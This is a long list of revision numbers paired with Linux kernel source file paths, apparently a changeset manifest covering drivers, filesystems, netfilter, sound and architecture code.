1.35 linux/fs/autofs4/inode.c - 1.17 linux/include/net/irda/nsc-ircc.h - 1.4 linux/drivers/net/irda/nsc-ircc.c - 1.30 linux/drivers/atm/iphase.c - 1.25 linux/arch/ia64/kernel/entry.S - 1.42 linux/arch/ia64/kernel/acpi.c - 1.27 linux/arch/ia64/ia32/sys_ia32.c - 1.50 linux/arch/ia64/Makefile - 1.33 linux/arch/ia64/kernel/sys_ia64.c - 1.22 linux/arch/ia64/lib/Makefile - 1.22 linux/arch/ia64/kernel/perfmon.c - 1.30 linux/arch/ia64/kernel/mca.c - 1.25 linux/fs/adfs/dir_f.c - 1.12 linux/fs/adfs/adfs.h - 1.10 linux/fs/adfs/dir_fplus.c - 1.10 linux/drivers/scsi/qla1280.c - 1.31 linux/include/linux/rtc.h - 1.10 linux/include/asm-ia64/pci.h - 1.23 linux/include/asm-ia64/semaphore.h - 1.7 linux/include/asm-ia64/unistd.h - 1.34 linux/include/asm-arm/proc-armv/locks.h - 1.8 linux/drivers/net/8139too.c - 1.57 linux/drivers/isdn/hisax/hfc_sx.c - 1.22 linux/fs/devfs/base.c - 1.64 linux/drivers/net/skfp/skfddi.c - 1.20 linux/net/bridge/br_forward.c - 1.11 linux/drivers/net/ioc3-eth.c - 1.27 linux/include/linux/matroxfb.h - 1.4 linux/drivers/atm/fore200e.c - 1.23 linux/drivers/video/riva/fbdev.c - 1.29 linux/drivers/net/appletalk/ltpc.c - 1.17 linux/drivers/net/appletalk/cops.c - 1.20 linux/net/econet/af_econet.c - 1.24 linux/include/linux/usb.h - 1.66 linux/include/asm-ia64/hw_irq.h - 1.12 linux/drivers/usb/serial/usb-serial.c - 1.23 linux/drivers/usb/serial/keyspan_pda_fw.h - 1.3 linux/drivers/ide/ide_modes.h - 1.10 linux/drivers/ide/ide.c - 1.92 linux/drivers/ide/ide-tape.c - 1.48 linux/drivers/ide/ide-probe.c - 1.60 linux/drivers/ide/ide-floppy.c - 1.47 linux/drivers/ide/ide-disk.c - 1.66 linux/drivers/ide/ide-cd.c - 1.70 linux/drivers/block/elevator.c - 1.35 linux/include/linux/elevator.h - 1.21 linux/drivers/net/tokenring/lanstreamer.c - 1.20 linux/net/ipv4/netfilter/iptable_mangle.c - 1.17 linux/net/ipv4/netfilter/iptable_filter.c - 1.11 linux/net/ipv4/netfilter/ipt_unclean.c - 1.13 linux/net/ipv4/netfilter/ipt_tos.c - 1.7 linux/net/ipv4/netfilter/ipt_state.c - 1.8 linux/net/ipv4/netfilter/ipt_owner.c - 1.13 linux/net/ipv4/netfilter/ipt_multiport.c - 1.9 linux/net/ipv4/netfilter/ipt_mark.c - 1.7 linux/net/ipv4/netfilter/ipt_mac.c - 1.9 linux/net/ipv4/netfilter/ipt_limit.c - 1.8 linux/net/ipv4/netfilter/ipt_TOS.c - 1.11 linux/net/ipv4/netfilter/ipt_REJECT.c - 1.24 linux/net/ipv4/netfilter/ipt_REDIRECT.c - 1.9 linux/net/ipv4/netfilter/ipt_MIRROR.c - 1.14 linux/net/ipv4/netfilter/ipt_MASQUERADE.c - 1.13 linux/net/ipv4/netfilter/ipt_MARK.c - 1.7 linux/net/ipv4/netfilter/ipt_LOG.c - 1.14 linux/net/ipv4/netfilter/ipfwadm_core.c - 1.20 linux/net/ipv4/netfilter/ipchains_core.c - 1.17 linux/net/ipv4/netfilter/ip_tables.c - 1.23 linux/net/ipv4/netfilter/ip_nat_standalone.c - 1.26 linux/net/ipv4/netfilter/ip_nat_rule.c - 1.12 linux/net/ipv4/netfilter/ip_nat_ftp.c - 1.15 linux/net/ipv4/netfilter/ip_nat_core.c - 1.24 linux/net/ipv4/netfilter/ip_fw_compat_masq.c - 1.13 linux/net/ipv4/netfilter/ip_conntrack_standalone.c - 1.22 linux/net/ipv4/netfilter/ip_conntrack_ftp.c - 1.18 linux/net/ipv4/netfilter/ip_conntrack_core.c - 1.29 linux/net/ipv4/netfilter/Makefile - 1.23 linux/drivers/net/pcmcia/ibmtr_cs.c - 1.19 linux/include/linux/nfs_xdr.h - 1.16 linux/fs/ramfs/inode.c - 1.38 linux/drivers/usb/serial/keyspan_pda.c - 1.38 linux/drivers/usb/serial/ftdi_sio.c - 1.53 linux/drivers/usb/serial/whiteheat.c - 1.42 linux/drivers/usb/serial/visor.h - 1.18 linux/drivers/usb/serial/visor.c - 1.57 linux/arch/ia64/kernel/smpboot.c - 1.24 linux/drivers/usb/serial/omninet.c - 1.36 linux/include/linux/if_pppox.h - 1.12 linux/include/asm-ppc/cpm_8260.h - 1.8 linux/drivers/usb/serial/digi_acceleport.c - 1.39 linux/arch/ppc/8260_io/uart.c - 1.19 linux/include/asm-s390/semaphore.h - 1.5 linux/net/ipv6/netfilter/ip6table_filter.c - 1.8 linux/net/ipv6/netfilter/ip6t_mark.c - 1.5 linux/net/ipv6/netfilter/ip6t_limit.c - 1.5 linux/net/ipv6/netfilter/ip6t_MARK.c - 1.5 linux/net/ipv6/netfilter/ip6_tables.c - 1.22 linux/Documentation/DocBook/kernel-locking.tmpl - 1.9 linux/arch/i386/kernel/msr.c - 1.22 linux/arch/i386/kernel/cpuid.c - 1.14 linux/fs/xfs/xfsidbg.c - 1.234 linux/fs/xfs/xfs_types.h - 1.68 linux/fs/xfs/linux/xfs_super.c - 1.284 linux/fs/xfs/linux/xfs_iops.c - 1.207 linux/kernel/kallsyms.c - 1.23 linux/drivers/usb/storage/usb.h - 1.26 linux/drivers/usb/storage/usb.c - 1.44 linux/drivers/usb/storage/transport.c - 1.47 linux/arch/alpha/kernel/core_titan.c - 1.16 linux/drivers/usb/serial/keyspan_usa28msg.h - 1.6 linux/drivers/usb/serial/keyspan_usa26msg.h - 1.7 linux/drivers/usb/serial/keyspan.c - 1.44 linux/include/asm-i386/i387.h - 1.11 linux/include/asm-arm/memory.h - 1.10 linux/net/ipv6/netfilter/ip6t_multiport.c - 1.4 linux/net/ipv6/netfilter/ip6t_mac.c - 1.6 linux/fs/jffs/inode-v23.c - 1.39 linux/arch/arm/mm/proc-arm720.S - 1.19 linux/arch/ia64/ia32/ia32_ioctl.c - 1.14 linux/drivers/ieee1394/video1394.c - 1.33 linux/drivers/mtd/mtdchar.c - 1.16 linux/drivers/net/tun.c - 1.24 linux/include/asm-arm/proc-armo/locks.h - 1.4 linux/drivers/usb/storage/sddr09.c - 1.26 linux/drivers/sbus/char/display7seg.c - 1.9 linux/drivers/net/natsemi.c - 1.32 linux/drivers/media/video/videodev.c - 1.20 linux/drivers/media/video/tvmixer.c - 1.17 linux/drivers/media/video/stradis.c - 1.13 linux/drivers/media/video/saa7185.c - 1.15 linux/drivers/media/video/saa7111.c - 1.15 linux/drivers/media/video/saa7110.c - 1.14 linux/drivers/media/video/planb.c - 1.17 linux/drivers/media/video/bttv-driver.c - 1.33 linux/drivers/isdn/hisax/l3ni1.c - 1.13 linux/drivers/input/mousedev.c - 1.21 linux/drivers/input/joydev.c - 1.18 linux/drivers/input/input.c - 1.23 linux/drivers/input/evdev.c - 1.21 linux/arch/arm/mach-footbridge/netwinder-pci.c - 1.8 linux/drivers/md/raid1.c - 1.38 linux/drivers/md/raid5.c - 1.46 linux/arch/arm/mach-sa1100/leds.c - 1.11 linux/arch/arm/mm/proc-arm920.S - 1.17 linux/drivers/block/cciss.c - 1.62 linux/drivers/md/linear.c - 1.25 linux/drivers/md/md.c - 1.79 linux/drivers/md/raid0.c - 1.22 linux/drivers/md/xor.c - 1.9 linux/drivers/net/hamachi.c - 1.27 linux/drivers/net/sundance.c - 1.30 linux/drivers/scsi/cpqfcTSinit.c - 1.34 linux/drivers/scsi/cpqfcTSworker.c - 1.18 linux/fs/dnotify.c - 1.9 linux/include/linux/toshiba.h - 1.2 linux/net/core/dv.c - 1.9 linux/drivers/usb/serial/belkin_sa.c - 1.34 linux/Documentation/usb/hotplug.txt - 1.5 linux/net/irda/irsyms.c - 1.14 linux/net/irda/irnet/irnet_irda.c - 1.18 linux/include/asm-arm/xor.h - 1.5 linux/include/linux/ethtool.h - 1.19 linux/drivers/video/stifb.c - 1.12 linux/drivers/net/lasi_82596.c - 1.20 linux/drivers/usb/serial/mct_u232.c - 1.33 linux/drivers/usb/serial/keyspan_usa49msg.h - 1.6 linux/drivers/usb/serial/empeg.c - 1.38 linux/include/asm-parisc/semaphore.h - 1.6 linux/drivers/scsi/mvme147.h - 1.4 linux/mm/shmem.c - 1.66 linux/drivers/atm/firestream.c - 1.19 linux/drivers/scsi/osst.c - 1.30 linux/fs/reiserfs/namei.c - 1.30 linux/arch/sparc64/kernel/pci_schizo.c - 1.22 linux/fs/reiserfs/journal.c - 1.46 linux/fs/reiserfs/inode.c - 1.44 linux/drivers/usb/storage/unusual_devs.h - 1.28 linux/drivers/sbus/char/cpwatchdog.c - 1.10 linux/arch/ppc/configs/power3_defconfig - 1.17 linux/net/ipv6/netfilter/ip6table_mangle.c - 1.9 linux/arch/ppc/configs/ibmchrp_defconfig - 1.17 linux/include/asm-cris/semaphore.h - 1.5 linux/net/ipv4/netfilter/ipt_tcpmss.c - 1.5 linux/net/ipv4/netfilter/ipt_TCPMSS.c - 1.10 linux/drivers/usb/serial/io_usbvend.h - 1.9 linux/drivers/usb/serial/io_ionsp.h - 1.4 linux/drivers/usb/serial/io_fw_down2.h - 1.3 linux/drivers/usb/serial/io_fw_down.h - 1.3 linux/drivers/usb/serial/io_fw_boot2.h - 1.3 linux/drivers/usb/serial/io_fw_boot.h - 1.3 linux/drivers/usb/serial/io_edgeport.h - 1.4 linux/drivers/usb/serial/io_edgeport.c - 1.39 linux/drivers/usb/serial/io_16654.h - 1.2 linux/drivers/net/sungem.c - 1.33 linux/drivers/s390/char/tubio.h - 1.12 linux/net/wanrouter/af_wanpipe.c - 1.21 linux/include/asm-arm/proc-armo/pgalloc.h - 1.4 linux/include/asm-arm/proc-armv/pgalloc.h - 1.8 linux/net/ipv4/netfilter/ip_nat_helper.c - 1.13 linux/drivers/net/fealnx.c - 1.23 linux/fs/freevxfs/vxfs_inode.c - 1.12 linux/drivers/net/wireless/airport.c - 1.15 linux/drivers/net/wireless/hermes.h - 1.12 linux/drivers/media/video/bt856.c - 1.14 linux/drivers/media/video/bt819.c - 1.12 linux/drivers/media/video/adv7175.c - 1.15 linux/fs/char_dev.c - 1.13 linux/arch/ppc/boot/common/ns16550.c - 1.6 linux/include/linux/netfilter_bridge.h - 1.6 linux/drivers/bluetooth/hci_usb.c - 1.25 linux/net/bluetooth/af_bluetooth.c - 1.19 linux/drivers/net/wireless/airo.c - 1.35 linux/drivers/usb/serial/cyberjack.c - 1.27 linux/drivers/usb/serial/pl2303.c - 1.36 linux/drivers/media/video/zoran.h - 1.4 linux/Documentation/sonypi.txt - 1.12 linux/Documentation/video4linux/meye.txt - 1.7 linux/drivers/char/sonypi.h - 1.14 linux/drivers/media/video/meye.h - 1.9 linux/drivers/media/video/meye.c - 1.17 linux/drivers/media/video/zoran_procfs.c - 1.5 linux/drivers/usb/usb-skeleton.c - 1.32 linux/drivers/char/ser_a2232.c - 1.11 linux/drivers/net/lp486e.c - 1.14 linux/include/linux/sonypi.h - 1.8 linux/drivers/char/sonypi.c - 1.16 linux/drivers/net/dl2k.c - 1.25 linux/drivers/message/fusion/mptscsih.h - 1.14 linux/drivers/message/fusion/mptscsih.c - 1.22 linux/drivers/message/fusion/linux_compat.h - 1.10 linux/drivers/ieee1394/sbp2.c - 1.31 linux/drivers/ieee1394/nodemgr.c - 1.22 linux/drivers/usb/storage/isd200.c - 1.19 linux/drivers/char/drm/drm_stub.h - 1.7 linux/drivers/char/drm/drm_fops.h - 1.8 linux/drivers/char/drm/drm_drv.h - 1.17 linux/drivers/net/irda/vlsi_ir.c - 1.20 linux/include/asm-arm/arch-sa1100/simpad.h - 1.4 linux/include/net/irda/vlsi_ir.h - 1.7 linux/arch/arm/kernel/entry-header.S - 1.9 linux/arch/arm/mach-sa1100/leds.h - 1.8 linux/arch/arm/mach-sa1100/leds-simpad.c - 1.3 linux/arch/arm/mach-integrator/cpu.c - 1.15 linux/arch/arm/mach-sa1100/cpu-sa1100.c - 1.12 linux/arch/arm/mach-sa1100/cpu-sa1110.c - 1.16 linux/arch/ppc/mm/cachemap.c - 1.8 linux/arch/ppc/mm/mmu_decl.h - 1.9 linux/arch/ppc/mm/pgtable.c - 1.13 linux/arch/ppc/kernel/cputable.c - 1.11 linux/drivers/scsi/dpt_i2o.c - 1.27 linux/drivers/isdn/hisax/st5481_b.c - 1.12 linux/drivers/isdn/hisax/st5481_d.c - 1.11 linux/drivers/scsi/53c700.c - 1.23 linux/drivers/char/ite_gpio.c - 1.6 linux/include/linux/hiddev.h - 1.7 linux/drivers/usb/serial/xircom_pgs_fw.h - 1.3 linux/fs/jffs2/dir.c - 1.16 linux/fs/jffs2/file.c - 1.14 linux/fs/jffs2/super.c - 1.18 linux/drivers/md/multipath.c - 1.23 linux/drivers/char/mwave/smapi.c - 1.3 linux/drivers/char/mwave/mwavedd.c - 1.9 linux/drivers/char/mwave/3780i.c - 1.4 linux/drivers/usb/serial/ir-usb.c - 1.29 linux/drivers/net/8139cp.c - 1.29 linux/drivers/atm/lanai.c - 1.12 linux/drivers/net/irda/ep7211_ir.c - 1.4 linux/arch/arm/mach-sa1100/pm.c - 1.10 linux/net/ipv4/netfilter/ip_nat_snmp_basic.c - 1.11 linux/net/ipv4/netfilter/ip_nat_irc.c - 1.8 linux/net/ipv4/netfilter/ip_conntrack_irc.c - 1.13 linux/include/linux/i8k.h - 1.3 linux/fs/jbd/journal.c - 1.27 linux/drivers/scsi/sym53c8xx_2/sym_conf.h - 1.3 linux/drivers/scsi/sym53c8xx_2/sym_defs.h - 1.2 linux/drivers/scsi/sym53c8xx_2/sym_fw.c - 1.3 linux/drivers/scsi/sym53c8xx_2/sym_glue.c - 1.20 linux/drivers/scsi/sym53c8xx_2/sym_glue.h - 1.12 linux/drivers/scsi/sym53c8xx_2/sym_hipd.c - 1.10 linux/drivers/scsi/sym53c8xx_2/sym_misc.h - 1.2 linux/arch/arm/mm/proc-arm1020.S - 1.12 linux/arch/arm/mm/proc-arm926.S - 1.13 linux/net/atm/pppoatm.c - 1.10 linux/fs/ext3/inode.c - 1.44 linux/fs/ext3/namei.c - 1.25 linux/fs/ext3/super.c - 1.41 linux/fs/intermezzo/journal.c - 1.7 linux/fs/intermezzo/kml_reint.c - 1.8 linux/fs/intermezzo/presto.c - 1.11 linux/fs/intermezzo/vfs.c - 1.20 linux/fs/intermezzo/dir.c - 1.14 linux/drivers/net/pcmcia/axnet_cs.c - 1.13 linux/drivers/isdn/hisax/hisax_fcpcipnp.c - 1.17 linux/fs/bio.c - 1.33 linux/include/linux/device.h - 1.36 linux/drivers/usb/serial/ipaq.c - 1.26 linux/drivers/usb/serial/kl5kusb105.c - 1.23 linux/arch/arm/mm/proc-xscale.S - 1.15 linux/arch/arm/mm/proc-arm922.S - 1.12 linux/arch/arm/def-configs/iq80310 - 1.13 linux/include/asm-arm/hardware/sa1111.h - 1.10 linux/arch/arm/mach-l7200/core.c - 1.6 linux/arch/arm/mach-rpc/riscpc.c - 1.6 linux/arch/arm/kernel/head.S - 1.10 linux/drivers/net/Makefile.lib - 1.10 linux/net/ipv4/netfilter/ipt_esp.c - 1.8 linux/net/ipv4/netfilter/ipt_ah.c - 1.8 linux/net/ipv4/netfilter/ipt_ULOG.c - 1.11 linux/Documentation/DocBook/writing_usb_driver.tmpl - 1.3 linux/drivers/base/core.c - 1.29 linux/drivers/input/serio/serport.c - 1.8 linux/sound/sound_core.c - 1.11 linux/sound/ppc/keywest.c - 1.8 linux/arch/ppc/8xx_io/cs4218_tdm.c - 1.8 linux/arch/ppc/boot/common/util.S - 1.6 linux/arch/ppc/boot/ld.script - 1.6 linux/sound/oss/ymfpci.c - 1.9 linux/sound/oss/vwsnd.c - 1.8 linux/arch/ppc/boot/simple/Makefile - 1.16 linux/arch/ppc/boot/simple/embed_config.c - 1.7 linux/arch/ppc/boot/simple/misc-embedded.c - 1.7 linux/arch/ppc/boot/simple/misc-spruce.c - 1.6 linux/sound/oss/via82cxxx_audio.c - 1.15 linux/arch/ppc/boot/utils/mktree.c - 1.3 linux/sound/oss/trident.c - 1.19 linux/sound/oss/soundcard.c - 1.13 linux/sound/oss/sonicvibes.c - 1.14 linux/arch/ppc/configs/mcpn765_defconfig - 1.8 linux/sound/oss/rme96xx.c - 1.12 linux/sound/oss/nec_vrc5477.c - 1.12 linux/sound/oss/msnd_pinnacle.c - 1.9 linux/sound/oss/maestro3.c - 1.12 linux/sound/oss/maestro.c - 1.17 linux/sound/oss/ite8172.c - 1.12 linux/sound/oss/i810_audio.c - 1.18 linux/sound/oss/esssolo1.c - 1.15 linux/sound/oss/es1371.c - 1.17 linux/sound/oss/es1370.c - 1.16 linux/sound/oss/emu10k1/mixer.c - 1.7 linux/sound/oss/emu10k1/midi.c - 1.4 linux/sound/oss/emu10k1/audio.c - 1.7 linux/sound/oss/dmasound/dmasound_q40.c - 1.8 linux/sound/oss/dmasound/dmasound_paula.c - 1.6 linux/sound/oss/dmasound/dmasound_core.c - 1.11 linux/sound/oss/dmasound/dmasound_awacs.c - 1.9 linux/sound/oss/dmasound/dmasound_atari.c - 1.8 linux/sound/oss/dmasound/dmasound.h - 1.4 linux/arch/ppc/platforms/mcpn765_serial.h - 1.4 linux/arch/ppc/platforms/mcpn765_setup.c - 1.11 linux/arch/ppc/platforms/pmac_pic.c - 1.9 linux/arch/ppc/platforms/pmac_setup.c - 1.13 linux/arch/ppc/platforms/sandpoint.h - 1.5 linux/sound/oss/cs46xx.c - 1.16 linux/sound/oss/cs4281/cs4281m.c - 1.11 linux/sound/oss/cmpci.c - 1.12 linux/sound/oss/btaudio.c - 1.12 linux/arch/x86_64/Makefile - 1.21 linux/arch/x86_64/defconfig - 1.21 linux/arch/x86_64/ia32/ia32_ioctl.c - 1.22 linux/arch/x86_64/ia32/ia32_signal.c - 1.14 linux/arch/x86_64/ia32/ia32entry.S - 1.18 linux/arch/x86_64/ia32/sys_ia32.c - 1.26 linux/arch/x86_64/kernel/apic.c - 1.20 linux/arch/x86_64/kernel/io_apic.c - 1.12 linux/arch/x86_64/kernel/ioport.c - 1.9 linux/arch/x86_64/kernel/mpparse.c - 1.12 linux/arch/x86_64/kernel/msr.c - 1.10 linux/arch/x86_64/kernel/setup.c - 1.17 linux/arch/x86_64/kernel/smpboot.c - 1.19 linux/arch/x86_64/kernel/time.c - 1.17 linux/arch/x86_64/kernel/traps.c - 1.21 linux/arch/x86_64/kernel/vsyscall.c - 1.11 linux/arch/x86_64/lib/usercopy.c - 1.7 linux/sound/core/sound.c - 1.20 linux/sound/core/seq/oss/seq_oss.c - 1.6 linux/sound/core/rawmidi.c - 1.18 linux/sound/core/pcm_native.c - 1.20 linux/sound/core/oss/pcm_oss.c - 1.21 linux/sound/core/oss/mixer_oss.c - 1.11 linux/sound/core/hwdep.c - 1.10 linux/sound/core/control.c - 1.15 linux/include/asm-x86_64/semaphore.h - 1.5 linux/include/asm-x86_64/processor.h - 1.20 linux/include/asm-x86_64/pda.h - 1.11 linux/include/asm-x86_64/mpspec.h - 1.8 linux/include/asm-x86_64/ia32_unistd.h - 1.6 linux/include/asm-x86_64/ia32.h - 1.11 linux/include/asm-x86_64/cpufeature.h - 1.5 linux/include/asm-x86_64/bugs.h - 1.3 linux/include/asm-x86_64/bitops.h - 1.10 linux/include/asm-x86_64/atomic.h - 1.2 linux/include/asm-x86_64/system.h - 1.14 linux/include/asm-x86_64/smp.h - 1.11 linux/include/asm-ppc/ppc_asm.h - 1.6 linux/include/asm-ppc/ibm4xx.h - 1.5 linux/include/asm-x86_64/uaccess.h - 1.9 linux/include/asm-x86_64/thread_info.h - 1.11 linux/arch/ppc64/kernel/ioctl32.c - 1.22 linux/include/asm-arm/thread_info.h - 1.8 linux/fs/jfs/inode.c - 1.26 linux/fs/jfs/jfs_incore.h - 1.17 linux/fs/jfs/jfs_imap.c - 1.17 linux/fs/jfs/namei.c - 1.21 linux/fs/jfs/jfs_mount.c - 1.15 linux/drivers/net/tg3.h - 1.16 linux/drivers/net/tg3.c - 1.27 linux/drivers/pcmcia/sa1111_generic.c - 1.11 linux/drivers/net/tulip/de2104x.c - 1.13 linux/drivers/net/tulip/de4x5.c - 1.16 linux/drivers/net/tulip/dmfe.c - 1.11 linux/drivers/net/tulip/winbond-840.c - 1.15 linux/drivers/net/tulip/xircom_cb.c - 1.11 linux/fs/jffs2/wbuf.c - 1.7 linux/fs/jffs2/os-linux.h - 1.10 linux/kernel/futex.c - 1.18 linux/arch/ia64/sn/kernel/setup.c - 1.14 linux/fs/jffs2/fs.c - 1.9 linux/net/ipv4/netfilter/arptable_filter.c - 1.6 linux/net/ipv4/netfilter/arp_tables.c - 1.10 linux/drivers/net/wan/comx-hw-munich.c - 1.13 linux/fs/libfs.c - 1.19 linux/drivers/ieee1394/eth1394.c - 1.15 linux/include/asm-ppc/tlbflush.h - 1.7 linux/drivers/usb/class/audio.c - 1.19 linux/drivers/usb/class/bluetty.c - 1.23 linux/drivers/usb/class/cdc-acm.c - 1.25 linux/Documentation/watchdog-api.txt - 1.3 linux/drivers/usb/core/hcd.c - 1.29 linux/drivers/usb/core/hcd.h - 1.20 linux/drivers/usb/core/inode.c - 1.17 linux/include/asm-arm/arch-pxa/pxa-regs.h - 1.7 linux/drivers/usb/input/hid-core.c - 1.25 linux/drivers/usb/core/usb.c - 1.40 linux/drivers/usb/host/ehci-hcd.c - 1.25 linux/drivers/usb/host/ohci-hcd.c - 1.24 linux/drivers/usb/host/ohci-q.c - 1.25 linux/drivers/usb/media/stv680.c - 1.15 linux/drivers/base/sys.c - 1.14 linux/drivers/usb/media/stv680.h - 1.4 linux/drivers/usb/media/usbvideo.c - 1.15 linux/drivers/usb/image/mdc800.c - 1.17 linux/drivers/usb/image/scanner.h - 1.19 linux/drivers/usb/input/hiddev.c - 1.18 linux/drivers/usb/media/dabusb.c - 1.17 linux/drivers/usb/media/dsbr100.c - 1.9 linux/drivers/usb/media/ov511.c - 1.18 linux/drivers/usb/media/pwc-if.c - 1.13 linux/drivers/usb/serial/safe_serial.c - 1.12 linux/drivers/usb/media/se401.c - 1.18 linux/drivers/usb/media/se401.h - 1.3 linux/drivers/usb/net/usbnet.c - 1.28 linux/drivers/usb/media/usbvideo.h - 1.8 linux/drivers/usb/media/vicam.c - 1.15 linux/drivers/usb/net/Makefile - 1.7 linux/drivers/usb/misc/uss720.c - 1.8 linux/drivers/usb/misc/auerswald.c - 1.21 linux/drivers/usb/misc/rio500.c - 1.14 linux/drivers/usb/misc/tiglusb.c - 1.16 linux/drivers/isdn/i4l/isdn_ttyfax.c - 1.6 linux/drivers/isdn/i4l/isdn_tty.c - 1.13 linux/drivers/isdn/i4l/isdn_ppp.c - 1.16 linux/drivers/isdn/i4l/isdn_common.c - 1.15 linux/drivers/isdn/i4l/isdn_audio.c - 1.5 linux/include/asm-x86_64/percpu.h - 1.8 linux/include/asm-arm/tlbflush.h - 1.2 linux/include/asm-arm/proc-armv/tlbflush.h - 1.6 linux/include/asm-arm/proc-armo/tlbflush.h - 1.2 linux/include/asm-arm/cacheflush.h - 1.3 linux/arch/ia64/hp/common/sba_iommu.c - 1.15 linux/drivers/usb/misc/brlvger.c - 1.17 linux/drivers/isdn/hardware/avm/c4.c - 1.9 linux/include/linux/isdn/capilli.h - 1.4 linux/drivers/isdn/hardware/avm/b1.c - 1.6 linux/drivers/isdn/hardware/avm/avmcard.h - 1.5 linux/drivers/isdn/capi/capi.c - 1.12 linux/drivers/isdn/capi/kcapi.c - 1.7 linux/drivers/isdn/capi/capidrv.c - 1.6 linux/Documentation/DocBook/scsidrivers.tmpl - 1.4 linux/drivers/char/synclinkmp.c - 1.13 linux/fs/ntfs/ntfs.h - 1.7 linux/drivers/char/pcmcia/synclink_cs.c - 1.16 linux/drivers/isdn/capi/capilib.c - 1.3 linux/drivers/usb/host/uhci-hcd.c - 1.25 linux/drivers/usb/host/uhci-hcd.h - 1.7 linux/drivers/net/irda/mcp2120.c - 1.5 linux/arch/i386/pci/common.c - 1.13 linux/net/ipv6/ipv6_syms.c - 1.14 linux/include/linux/page-flags.h - 1.22 linux/arch/i386/pci/pcbios.c - 1.8 linux/net/bluetooth/sco.c - 1.13 linux/net/bluetooth/l2cap.c - 1.14 linux/drivers/bluetooth/hci_h4.c - 1.8 linux/drivers/bluetooth/hci_ldisc.c - 1.9 linux/drivers/base/bus.c - 1.20 linux/drivers/usb/core/message.c - 1.24 linux/drivers/acpi/pci_link.c - 1.11 linux/drivers/isdn/hisax/amd7930_fn.c - 1.11 linux/drivers/isdn/hisax/ipacx.c - 1.9 linux/drivers/usb/host/ohci-sa1111.c - 1.16 linux/drivers/usb/class/usb-midi.c - 1.17 linux/drivers/usb/core/hcd-pci.c - 1.15 linux/drivers/usb/host/ohci-pci.c - 1.11 linux/arch/x86_64/lib/copy_user.S - 1.5 linux/arch/x86_64/lib/copy_page.S - 1.4 linux/arch/x86_64/lib/clear_page.S - 1.4 linux/drivers/net/irda/act200l.c - 1.5 linux/drivers/net/irda/ma600.c - 1.5 linux/arch/x86_64/lib/memcpy.S - 1.4 linux/arch/x86_64/lib/memset.S - 1.5 linux/arch/arm/mm/proc-arm2_3.S - 1.5 linux/arch/arm/mm/proc-arm6_7.S - 1.8 linux/include/asm-x86_64/suspend.h - 1.7 linux/net/llc/llc_mac.c - 1.11 linux/net/llc/llc_main.c - 1.13 linux/drivers/input/tsdev.c - 1.9 linux/drivers/input/serio/i8042.c - 1.15 linux/drivers/usb/core/file.c - 1.9 linux/drivers/usb/input/powermate.c - 1.12 linux/net/sunrpc/timer.c - 1.4 linux/drivers/input/serio/sa1111ps2.c - 1.7 linux/security/capability.c - 1.12 linux/drivers/usb/serial/io_fw_down3.h - 1.2 linux/drivers/usb/serial/io_ti.c - 1.15 linux/drivers/serial/sa1100.c - 1.11 linux/drivers/char/agp/ali-agp.c - 1.11 linux/drivers/char/agp/sis-agp.c - 1.12 linux/drivers/char/agp/frontend.c - 1.11 linux/drivers/char/agp/i460-agp.c - 1.11 linux/drivers/serial/Makefile - 1.13 linux/mm/rmap.c - 1.15 linux/drivers/char/agp/via-agp.c - 1.13 linux/drivers/usb/serial/io_ti.h - 1.2 linux/include/linux/serial_core.h - 1.17 linux/arch/arm/mach-pxa/pm.c - 1.4 linux/drivers/usb/class/usblp.c - 1.15 linux/drivers/usb/misc/usblcd.c - 1.10 linux/net/ipv4/netfilter/ipt_DSCP.c - 1.4 linux/net/ipv4/netfilter/ipt_ECN.c - 1.6 linux/net/ipv6/netfilter/ip6t_length.c - 1.3 linux/net/ipv6/netfilter/ip6t_eui64.c - 1.3 linux/net/ipv4/netfilter/ipt_helper.c - 1.7 linux/arch/i386/kernel/cpu/mtrr/if.c - 1.5 linux/arch/i386/kernel/cpu/mtrr/main.c - 1.8 linux/arch/i386/kernel/cpu/mtrr/mtrr.h - 1.5 linux/net/ipv4/netfilter/ipt_ecn.c - 1.4 linux/net/ipv4/netfilter/ipt_dscp.c - 1.4 linux/net/ipv4/netfilter/ipt_conntrack.c - 1.6 linux/drivers/base/class.c - 1.15 linux/net/sctp/sysctl.c - 1.7 linux/include/net/sctp/user.h - 1.9 linux/net/sctp/protocol.c - 1.22 linux/include/net/sctp/sctp.h - 1.17 linux/net/sctp/associola.c - 1.18 linux/net/sctp/bind_addr.c - 1.12 linux/include/linux/sctp.h - 1.5 linux/net/sctp/input.c - 1.17 linux/net/sctp/ipv6.c - 1.19 linux/net/sctp/primitive.c - 1.7 linux/include/net/sctp/sm.h - 1.15 linux/net/sctp/sm_make_chunk.c - 1.19 linux/net/sctp/sm_statefuns.c - 1.19 linux/include/net/sctp/structs.h - 1.21 linux/net/sctp/socket.c - 1.22 linux/drivers/ide/ppc/pmac.c - 1.11 linux/drivers/ide/ppc/mpc8xx.c - 1.5 linux/drivers/ide/pci/slc90e66.c - 1.9 linux/drivers/ide/pci/sl82c105.c - 1.9 linux/drivers/ide/pci/sis5513.c - 1.13 linux/drivers/ide/pci/siimage.h - 1.6 linux/drivers/ide/pci/siimage.c - 1.11 linux/drivers/ide/pci/serverworks.c - 1.12 linux/drivers/ide/pci/piix.c - 1.11 linux/drivers/ide/pci/pdcadma.c - 1.9 linux/drivers/ide/pci/pdc202xx_old.c - 1.12 linux/drivers/ide/pci/pdc202xx_new.c - 1.14 linux/drivers/ide/pci/opti621.c - 1.9 linux/drivers/ide/pci/ns87415.c - 1.8 linux/drivers/ide/pci/it8172.c - 1.8 linux/drivers/ide/pci/hpt366.c - 1.15 linux/drivers/ide/pci/hpt34x.c - 1.10 linux/drivers/ide/pci/generic.h - 1.6 linux/drivers/ide/pci/generic.c - 1.8 linux/drivers/ide/pci/cy82c693.c - 1.11 linux/drivers/ide/pci/cs5530.c - 1.10 linux/drivers/ide/pci/cmd64x.c - 1.8 linux/drivers/ide/pci/cmd640.c - 1.5 linux/drivers/ide/pci/alim15x3.c - 1.10 linux/drivers/ide/pci/aec62xx.c - 1.10 linux/drivers/ide/legacy/umc8672.c - 1.7 linux/drivers/ide/legacy/qd65xx.c - 1.6 linux/drivers/ide/legacy/pdc4030.c - 1.12 linux/drivers/ide/legacy/macide.c - 1.3 linux/drivers/ide/legacy/ht6560b.c - 1.6 linux/drivers/ide/legacy/dtc2278.c - 1.6 linux/drivers/ide/legacy/ali14xx.c - 1.6 linux/drivers/ide/ide-lib.c - 1.10 linux/arch/um/drivers/ubd_kern.c - 1.15 linux/arch/m68k/vmlinux-std.lds - 1.9 linux/arch/ppc/boot/include/of1275.h - 1.2 linux/arch/sparc64/mm/hugetlbpage.c - 1.7 linux/arch/ppc/boot/of1275/ofinit.c - 